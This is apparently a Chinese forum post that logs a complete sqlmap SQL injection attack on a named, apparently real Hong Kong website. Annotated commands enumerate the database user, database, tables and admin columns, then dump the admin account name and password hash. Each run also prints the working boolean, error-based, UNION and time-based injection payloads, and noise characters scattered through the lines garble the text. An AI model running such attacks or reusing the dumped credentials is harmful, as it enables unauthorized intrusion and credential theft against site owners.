D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db; r" o! P$ ^" O, J1 }/ v S
ms "Mysql" --current-user /* 注解：获取当前用户名称
4 @ G5 k2 H. C/ |: ]% v) ^# l. |4 j sqlmap/0.9 - automatic SQL injection and database takeover tool
; D$ K, I1 \; F) \2 F+ N http://sqlmap.sourceforge.net starting at: 16:53:54* c# b) \6 _% S2 W& C* ?
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
r! n6 S7 g' h; P; D! z4 a2 {- x7 t session file
4 ]& l8 G% P% \1 K u! v[16:53:54] [INFO] resuming injection data from session file
# T. F& B- Q) ~, t# }[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
" z2 C+ h! B; |5 m9 ]0 h! H[16:53:54] [INFO] testing connection to the target url
; @0 y4 k' w5 Z4 L4 [sqlmap identified the following injection points with a total of 0 HTTP(s) reque" K m& v* \, [9 I. u" _' X
sts:. l1 S7 P% F# P, R, o
---
% t, n; C. b" i. fPlace: GET
% Q' l$ p; n- sParameter: id
+ E9 y- \( |5 [. a4 R Type: boolean-based blind) V7 x c" u# l/ `' H' J: c7 e2 N
Title: AND boolean-based blind - WHERE or HAVING clause
6 ^4 h7 H2 o' u+ E8 Q/ h! q Payload: id=276 AND 799=799- H1 U% y) f8 ^
Type: error-based
7 ?- ~9 |/ X2 }5 M Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
. {) l& o: G/ ^* w; p! e. B0 J Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
' M! k# x" _9 ]* T2 A. t120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
/ B4 h" N) C* R% e" z. h),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)$ _* T3 v; w' }
Type: UNION query
& q0 b c( W- o; d4 W1 ^ Title: MySQL UNION query (NULL) - 1 to 10 columns
0 S- [% J" j( d- _0 F6 @ Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
% c. I* L1 u% F! T. K& S(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),# |% [$ B; N8 y: m& k' D7 B+ A
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#5 E' x8 y4 i' Y2 I- J
Type: AND/OR time-based blind
& T1 K* _/ a' y6 s Title: MySQL > 5.0.11 AND time-based blind
" Z* M& {& r2 R: e" c7 A. ]6 C Payload: id=276 AND SLEEP(5)# Y* u+ F7 c. u2 K* j' X
---
, }" M4 a; P3 M, j% m[16:53:55] [INFO] the back-end DBMS is MySQL5 h. w7 [9 W4 ?6 T( X( f& Z4 W/ w9 ~( ?: r
web server operating system: Windows
, [, v' h. S" C+ Zweb application technology: Apache 2.2.11, PHP 5.3.0
5 H# g$ E6 ^4 _! k$ sback-end DBMS: MySQL 5.0" f5 _* }5 }7 n( L. ?. u( O/ y, N
[16:53:55] [INFO] fetching current user0 E8 m0 [- g- d2 w
current user: 'root@localhost' + g2 F4 b0 T e) W
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou% l; H, e9 a: F9 Z% j! o
tput\www.wepost.com.hk' shutting down at: 16:53:589 C4 K1 a3 g7 z) |( t3 N: `
! ?5 j* N/ w' \
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
' S" z. w0 J8 m, gms "Mysql" --current-db /*当前数据库% e) s4 z5 S1 z A
sqlmap/0.9 - automatic SQL injection and database takeover tool# i! {% a- m7 j2 C5 ^: i2 y
http://sqlmap.sourceforge.net starting at: 16:54:16
8 X4 I, ^. F5 o- g6 _( [[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as( J/ Z. R& @! H. u0 M7 y
session file
1 V& T" T T& O5 l# ? C4 j' n[16:54:16] [INFO] resuming injection data from session file6 R/ ^+ ?4 S4 P7 C' ?. `- |! S4 ^6 I
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
. S4 O* i0 U$ w/ I; E7 l% \[16:54:16] [INFO] testing connection to the target url7 S0 f4 v3 Q, `1 m$ R
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
5 d* W1 r" a& U( B: _3 x+ Vsts:, t* ~1 e D2 c9 w/ z( {& l& i( Q: H# L
---0 X; q* L. H1 U1 m* X
Place: GET
3 V, ^, z, p, q1 R3 F7 RParameter: id$ ]8 B( ~+ D! Z! {5 q+ e9 V
Type: boolean-based blind
! ^: e$ i r |9 r Title: AND boolean-based blind - WHERE or HAVING clause
& X: H3 G; |4 n$ W/ d Payload: id=276 AND 799=799
u2 _3 f0 E% r1 ?% w& Z) T* q Type: error-based- a% T1 w) f% C# \: D! c7 h! I
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
' U; @, ?! D+ m. K7 O- u% M2 J Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,8 x( R0 B# k, w' a
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
& W' W4 s* Y& D) J0 k),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" f4 {! Z; X6 l. }# s8 O) D7 h
Type: UNION query- V. u& C. s" m4 ^9 f S
Title: MySQL UNION query (NULL) - 1 to 10 columns
, J& _" S- F) I3 d7 t Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR+ Z1 L1 k7 T' n. p7 [0 f
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),5 K. s# T7 d/ f1 v" ^7 p) m
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#9 b0 k: G5 I1 d
Type: AND/OR time-based blind
8 p6 R* D: Y* }0 {% }+ r/ i Title: MySQL > 5.0.11 AND time-based blind b4 E* S9 n, s$ X K4 ~; Z: A* q t
Payload: id=276 AND SLEEP(5)
( O5 z- u0 w5 ]+ C1 N6 y4 F, W---
2 G4 W4 S G& `! B& w2 q F7 A[16:54:17] [INFO] the back-end DBMS is MySQL& U2 [% Q! p0 w% ]; {
web server operating system: Windows/ J- ^$ n" {- ]* D1 m, ]
web application technology: Apache 2.2.11, PHP 5.3.0
+ Z* h+ p! Y0 X* q+ |; Bback-end DBMS: MySQL 5.0& z( s* i/ l) F) ], v* s+ S! O B
[16:54:17] [INFO] fetching current database* ?3 z$ `3 S; c6 w5 @8 m4 R
current database: 'wepost'6 L( Z; |/ q4 D
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou6 x# U' K2 F$ j* S# \) H
tput\www.wepost.com.hk' shutting down at: 16:54:18
# Z5 F9 s) z4 U6 _D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db4 Y# I, O& ^+ t3 q2 S6 ^( @
ms "Mysql" --tables -D "wepost" /*获取当前数据库的表名
( p$ Q' R) H9 i$ X9 L4 P sqlmap/0.9 - automatic SQL injection and database takeover tool
. j2 y# j! x6 y f& f! I http://sqlmap.sourceforge.net starting at: 16:55:25
4 Y) f; `0 [: i: V6 r[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
: H" d( m9 P$ ~. @" n session file
' k6 t; \. |/ s; V- R6 F2 D; a) y) l/ t5 [[16:55:25] [INFO] resuming injection data from session file
$ u6 D* I- j# |1 n E2 G1 M) K[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
( G+ { p: Z# U3 I7 J+ c5 I[16:55:25] [INFO] testing connection to the target url
/ L0 f. G* ?9 p0 K! t% zsqlmap identified the following injection points with a total of 0 HTTP(s) reque1 x& H# z7 E: C b4 Y) X
sts:
% v, T( `; S' R---" u* S4 K: O2 _8 T4 C, n9 e- Q
Place: GET
; R; T* g4 c' E+ qParameter: id
' v, S4 H+ o. @8 G0 q Type: boolean-based blind/ G1 i3 A! }; _; n$ \. ?
Title: AND boolean-based blind - WHERE or HAVING clause! i2 s) \& ?2 u, N. G
Payload: id=276 AND 799=799- z0 Y* L+ ~; C% `8 a
Type: error-based
) }3 V- b- Q/ F" j' H Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause; v, A+ @, X2 E) U$ V
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,# |# \& B6 H% e1 R: {* X0 D+ P
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58) _& d: q& n8 S ]$ l3 G
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
! o2 ?) l7 u% q& p% Q Type: UNION query1 ?9 i X* T1 m+ {: Q5 X
Title: MySQL UNION query (NULL) - 1 to 10 columns
. W/ q, E& ^/ h0 g Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR8 L4 k, y/ w" _9 ^8 Q7 f$ S2 v* o
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
$ u5 m4 r8 N! @3 f6 J, f+ _CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
- o$ v( J; \, J ~. b Type: AND/OR time-based blind
, D/ L/ r0 ]% O2 e7 T Title: MySQL > 5.0.11 AND time-based blind
8 P5 C; S. T# P- Y$ }8 D0 G Payload: id=276 AND SLEEP(5)
{/ _' {1 y/ q3 n/ h9 }! J# P---
' ~; X" ^; K8 C `7 Q7 l[16:55:26] [INFO] the back-end DBMS is MySQL3 `' A* P0 Y5 z7 D! m! O
web server operating system: Windows- x# E+ t0 E O: J; g1 k
web application technology: Apache 2.2.11, PHP 5.3.0
i2 f% T7 F9 T$ S5 iback-end DBMS: MySQL 5.0* l9 G- m/ C! P1 I/ q# F/ g
[16:55:26] [INFO] fetching tables for database 'wepost'
' k3 `: q& ^& x3 k$ P7 Q M4 ?[16:55:27] [INFO] the SQL query used returns 6 entries- s, t1 ~0 ^2 O6 k& F
Database: wepost
# O' o0 B/ {! J. f2 I+ Z% |[6 tables]
9 R( M, b- X8 K) w5 S# h+-------------+3 u4 R# ]) h+ k% k
| admin |( k! X) R2 i: V- V o! [
| article |. ^" U6 c! x4 n. o" m
| contributor |) W' }/ D3 O: f, \! e! H
| idea |
0 m: l7 t7 T- A/ ~% z| image |$ X/ {% \& g8 x: l% l8 ^! s) u$ g
| issue |" P; [- Q) t, x9 w0 w1 P) D; V/ ]
+-------------+
' |' P% [9 h. U[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
( U5 Q( q6 {! h& \tput\www.wepost.com.hk' shutting down at: 16:55:330 B1 s9 H# C1 ~) W u v* s1 {9 X' L
6 Z( R. P9 }+ p8 }$ {8 h. R
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db9 [! x% I" o$ S0 s- Q6 S7 a0 |; E
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名- S( M/ m! H- Y I
sqlmap/0.9 - automatic SQL injection and database takeover tool; {, S+ x9 l4 v) K
http://sqlmap.sourceforge.net starting at: 16:56:06
+ K5 j) o* | isqlmap identified the following injection points with a total of 0 HTTP(s) reque
. W" w r4 C6 _& F- W& Msts:5 H) P, B- g/ A: z( G
---
4 k4 R- h& j- aPlace: GET# \( \: _! R8 o4 A
Parameter: id0 i. M$ y# H* Y0 @' Z
Type: boolean-based blind
( F# O" L1 b: M8 P+ C L- b8 C Title: AND boolean-based blind - WHERE or HAVING clause$ k9 e) M( A+ w, ?# n& K) N. G
Payload: id=276 AND 799=799" G( `# N6 ^1 d
Type: error-based
6 f4 w. O; y$ P9 S1 u% } Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
6 x9 u. D# P* K6 ?' f$ w2 N1 O1 h Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,6 M5 `) j1 v/ s, Z7 w0 a" d
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,587 {, l" F/ ~' x2 k! l
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)+ \/ `7 ~% x8 n$ W' K) y, K: M+ z
Type: UNION query
" G/ ~ M6 f5 ]/ ~4 H2 B1 s6 T M9 [1 L+ y Title: MySQL UNION query (NULL) - 1 to 10 columns1 w- D6 [8 o" Z* l- x* k% r% B
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
( A9 s( H5 Q! P* P! p(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
* P7 }9 _# N, p3 f7 pCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
7 b6 T/ e0 o% B3 t/ K" Q Type: AND/OR time-based blind
, X# [( h( ]. ]4 o$ h( O Title: MySQL > 5.0.11 AND time-based blind
! |7 a3 C( ]. M; } Payload: id=276 AND SLEEP(5)
. B! t, V6 M+ X--- P' }) ^( {5 l
web server operating system: Windows
/ `4 u: ?9 P g; cweb application technology: Apache 2.2.11, PHP 5.3.0" J; c- \, s& S# J0 J
back-end DBMS: MySQL 5.0
0 L. \# L: l) n$ v[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se# ]+ O9 f! [1 \* c4 j3 } h' J
ssion': wepost, wepost6 C6 C) s% K( [; |& R6 Q$ d! d
Database: wepost& N0 L$ Y& q1 [7 U
Table: admin& J+ O; E' K( @$ G/ r- W
[4 columns]$ Q$ p& D6 D ?& m- [
+----------+-------------+: D4 A7 S8 S. \" k: s, z' G
| Column | Type |& r! q+ r1 C: Z- l1 ~9 W: w
+----------+-------------+
. S$ p" y( L6 T" ~8 Q3 E6 f! `6 x9 ^| id | int(11) |. @% C8 P8 m: J
| password | varchar(32) |# X! L4 K" l5 C! w0 O
| type | varchar(10) |
& Q. r9 M: j& I u9 A5 R| userid | varchar(20) |( N6 h9 Z: F I0 i J
+----------+-------------+( n: W" M7 y& i o
shutting down at: 16:56:19
, q+ p: J3 E( C h8 p8 u. u, M7 H+ M; O! w j, {5 o
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db/ x; k+ M U; i* @- @' T0 Q; F( a
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容; H$ a+ ]6 l' K- J- j/ d
sqlmap/0.9 - automatic SQL injection and database takeover tool
; A7 A( r2 _9 Z" q. L1 t" S' P http://sqlmap.sourceforge.net starting at: 16:57:14
& e A2 T" v" Rsqlmap identified the following injection points with a total of 0 HTTP(s) reque' s& M3 c( k8 g7 C u3 Q
sts:( ?7 d: t( b' n8 }
---
t( n3 @2 _( |# k6 B1 @2 H! _: e" qPlace: GET/ }. d, B$ G4 ^( Y
Parameter: id
* |; a5 T9 I4 U2 ?' j3 w5 } Type: boolean-based blind
( w! V- F& z* d* ^ Title: AND boolean-based blind - WHERE or HAVING clause
8 w0 `# f. K3 G0 o# V. i8 ] b& Z3 }3 k Payload: id=276 AND 799=799
3 z# z4 Z% ^9 i+ a9 E0 e+ ~ Type: error-based# j% f/ Q% }# w/ M/ O
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
& O7 F. s. e) {: b" [ Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
2 G" N% w2 {( K8 W, u, ~* L" q120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58+ ?, B& \# q3 j; c$ G
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
3 h& N" H ^( ?1 q# Y8 j4 t Type: UNION query
/ K H$ `7 ]% s Title: MySQL UNION query (NULL) - 1 to 10 columns
' n" L/ ]$ d, G3 G0 B Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
+ q8 ?3 ~6 B' Q- W3 s) `, _, V(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
% T, q. _+ v0 ?0 u0 a/ M8 OCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#9 N* N7 A) Q; O9 d3 q6 {5 E
Type: AND/OR time-based blind
, {0 T1 h' F9 b R5 y- W' P0 J Title: MySQL > 5.0.11 AND time-based blind- G( B% T# r: g( E+ J$ Z) n
Payload: id=276 AND SLEEP(5)
% L* Z7 ?/ _+ H. ?( U---
0 N+ C6 O8 c) F, a2 Bweb server operating system: Windows
Y2 m' u6 [! N1 K$ Z; c7 w% Gweb application technology: Apache 2.2.11, PHP 5.3.0+ G% j% h( S0 V+ n; R1 X6 ~) r
back-end DBMS: MySQL 5.0
3 x& _5 y' u/ I2 Y. |! W5 Irecognized possible password hash values. do you want to use dictionary attack o
+ [9 G4 B& v5 j6 K6 ~n retrieved table items? [Y/n/q] y& R$ r+ w1 ^8 d, r2 i; K1 R5 s
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]9 P# G Z' I2 |) ~
do you want to use common password suffixes? (slow!) [y/N] y
1 |6 P( X" e# x) h0 J8 y, mDatabase: wepost
& J: o7 C! T: }) ~Table: admin# X# C& G. @* u+ X G$ }
[1 entry]4 w# B( K- t4 D) j1 A+ R2 n) _7 r
+----------------------------------+------------+: j- J: N1 o- f7 f: v
| password | userid |! |" i$ ]3 U; L% [
+----------------------------------+------------+
7 N! z0 ~, Z, y7 H0 q( a! X6 U| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
9 I: p3 y% W" j6 M- p; ~3 j/ Z+----------------------------------+------------+
; p. u/ b% ]4 P- c shutting down at: 16:58:14 h* V. b" W6 [; q
, ?. |- `# q6 }5 j) D: ~
D:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对